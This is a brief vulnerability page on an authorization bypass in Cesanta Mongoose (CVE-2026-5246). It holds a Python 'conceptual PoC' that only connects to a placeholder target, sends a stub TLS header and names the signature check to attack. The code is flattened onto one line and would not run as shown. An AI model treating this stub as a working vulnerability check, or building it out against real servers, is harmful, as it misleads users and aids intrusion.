CVE-2026-5246: Cesanta Mongoose 授权绕过漏洞

import socket # Conceptual PoC for CVE-2026-5246 # Demonstrates the intent to connect with a crafted payload. # Actual exploitation requires specific P-384 signature manipulation. def check_vulnerability(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real scenario, send a TLS ClientHello with a malformed P-384 certificate # to trigger the bypass in mg_tls_verify_cert_signature. payload = b"\x16\x03\x01\x00\x00" # Simplified TLS header s.send(payload) response = s.recv(1024) if response: print("[+] Server responded. Further analysis needed to confirm bypass.") s.close() except Exception as e: print(f"[-] Connection failed: {e}") # Usage: check_vulnerability("<TARGET_IP>", 443)